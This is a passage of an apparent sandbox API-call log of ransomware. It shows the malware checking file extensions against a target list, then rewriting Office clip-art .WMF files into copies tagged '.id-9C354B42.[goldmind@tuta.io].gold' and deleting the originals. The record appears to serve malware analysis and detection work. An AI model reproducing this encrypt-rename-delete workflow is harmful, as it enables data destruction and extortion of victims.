(lpString1=".jpg", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".doc") returned 4 [0113.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString=".docx") returned 5 [0113.787] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.787] lstrlenW (lpString=".pdf") returned 4 [0113.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString=".xls") returned 4 [0113.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.787] lstrlenW (lpString=".xlsx") returned 5 [0113.787] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.787] lstrlenW (lpString=".ppt") returned 4 [0113.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".zip") returned 4 [0113.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.787] lstrlenW (lpString=".rar") returned 4 [0113.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString=".bz2") returned 4 [0113.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString=".7z") returned 3 [0113.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".dbf") returned 4 [0113.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".1cd") returned 4 [0113.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0113.787] lstrlenW (lpString=".jpg") returned 4 [0113.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.788] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.788] lstrlenW (lpString="J0187893.WMF") returned 12 [0113.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.788] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5620) returned 1 [0113.788] CloseHandle (hObject=0x198) returned 1 [0113.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 0x20 [0113.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.789] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.789] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.790] GetLastError () returned 0x0 [0113.790] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x15f4, lpOverlapped=0x0) returned 1 [0113.792] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1600, lpOverlapped=0x0) returned 1 [0113.792] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.792] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.792] SetEndOfFile (hFile=0x3d0) returned 1 [0113.793] CloseHandle (hObject=0x3d0) returned 1 [0113.793] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.793] SetEndOfFile (hFile=0x198) returned 1 [0113.795] CloseHandle (hObject=0x198) returned 1 [0113.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0113.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.796] lstrlenW (lpString=".doc") returned 4 [0113.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.796] lstrlenW (lpString=".docx") returned 5 [0113.796] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.796] lstrlenW (lpString=".pdf") returned 4 [0113.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.796] lstrlenW (lpString=".xls") returned 4 [0113.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.796] lstrlenW (lpString=".xlsx") returned 5 [0113.796] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.796] lstrlenW (lpString=".ppt") returned 4 [0113.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.796] lstrlenW (lpString=".zip") returned 4 [0113.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.797] lstrlenW (lpString=".rar") returned 4 [0113.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".bz2") returned 4 [0113.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".7z") returned 3 [0113.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".dbf") returned 4 [0113.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".1cd") returned 4 [0113.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".jpg") returned 4 [0113.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".doc") returned 4 [0113.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".docx") returned 5 [0113.797] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0113.797] lstrlenW (lpString=".pdf") returned 4 [0113.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".xls") returned 4 [0113.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.797] lstrlenW (lpString=".xlsx") returned 5 [0113.797] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0113.797] lstrlenW (lpString=".ppt") returned 4 [0113.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".zip") returned 4 [0113.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.797] lstrlenW (lpString=".rar") returned 4 [0113.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".bz2") returned 4 [0113.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.797] lstrlenW (lpString=".7z") returned 3 [0113.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.797] lstrlenW (lpString=".dbf") returned 4 [0113.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.798] lstrlenW (lpString=".1cd") returned 4 [0113.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0113.798] lstrlenW (lpString=".jpg") returned 4 [0113.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.798] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.798] lstrlenW (lpString="J0187895.WMF") returned 12 [0113.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.798] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3472) returned 1 [0113.798] CloseHandle (hObject=0x198) returned 1 [0113.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 0x20 [0113.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.799] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.799] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.800] GetLastError () returned 0x0 [0113.800] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xd90, lpOverlapped=0x0) returned 1 [0113.803] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xda0, lpOverlapped=0x0) returned 1 [0113.804] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.804] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.804] SetEndOfFile (hFile=0x3d0) returned 1 [0113.804] CloseHandle (hObject=0x3d0) returned 1 [0113.805] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.805] SetEndOfFile (hFile=0x198) returned 1 [0113.806] CloseHandle (hObject=0x198) returned 1 [0113.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0113.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".doc") returned 4 [0113.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".docx") returned 5 [0113.808] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.808] lstrlenW (lpString=".pdf") returned 4 [0113.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".xls") returned 4 [0113.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.808] lstrlenW (lpString=".xlsx") returned 5 [0113.808] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.808] lstrlenW (lpString=".ppt") returned 4 [0113.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".zip") returned 4 [0113.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.808] lstrlenW (lpString=".rar") returned 4 [0113.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".bz2") returned 4 [0113.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".7z") returned 3 [0113.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".dbf") returned 4 [0113.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".1cd") returned 4 [0113.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".jpg") returned 4 [0113.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.808] lstrlenW (lpString=".doc") returned 4 [0113.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".docx") returned 5 [0113.808] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0113.808] lstrlenW (lpString=".pdf") returned 4 [0113.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.808] lstrlenW (lpString=".xls") returned 4 [0113.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.808] lstrlenW (lpString=".xlsx") returned 5 [0113.808] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0113.809] lstrlenW (lpString=".ppt") returned 4 [0113.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.809] lstrlenW (lpString=".zip") returned 4 [0113.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.809] lstrlenW (lpString=".rar") returned 4 [0113.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.809] lstrlenW (lpString=".bz2") returned 4 [0113.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.809] lstrlenW (lpString=".7z") returned 3 [0113.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.809] lstrlenW (lpString=".dbf") returned 4 [0113.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.809] lstrlenW (lpString=".1cd") returned 4 [0113.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0113.809] lstrlenW (lpString=".jpg") returned 4 [0113.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.809] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.809] lstrlenW (lpString="J0187921.WMF") returned 12 [0113.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.811] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5000) returned 1 [0113.811] CloseHandle (hObject=0x198) returned 1 [0113.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 0x20 [0113.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.811] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.811] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0113.812] GetLastError () returned 0x0 [0113.812] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1388, lpOverlapped=0x0) returned 1 [0113.814] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0113.815] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.815] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.815] SetEndOfFile (hFile=0x3d0) returned 1 [0113.815] CloseHandle (hObject=0x3d0) returned 1 [0113.815] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.815] SetEndOfFile (hFile=0x198) returned 1 [0113.830] CloseHandle (hObject=0x198) returned 1 [0113.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".doc") returned 4 [0113.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".docx") returned 5 [0113.836] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.836] lstrlenW (lpString=".pdf") returned 4 [0113.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".xls") returned 4 [0113.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.836] lstrlenW (lpString=".xlsx") returned 5 [0113.836] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.836] lstrlenW (lpString=".ppt") returned 4 [0113.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".zip") returned 4 [0113.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.836] lstrlenW (lpString=".rar") returned 4 [0113.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".bz2") returned 4 [0113.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".7z") returned 3 [0113.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".dbf") returned 4 [0113.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".1cd") returned 4 [0113.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".jpg") returned 4 [0113.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.836] lstrlenW (lpString=".doc") returned 4 [0113.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".docx") returned 5 [0113.836] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0113.836] lstrlenW (lpString=".pdf") returned 4 [0113.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.836] lstrlenW (lpString=".xls") returned 4 [0113.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.837] lstrlenW (lpString=".xlsx") returned 5 [0113.837] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0113.837] lstrlenW (lpString=".ppt") returned 4 [0113.837] lstrcmpiW 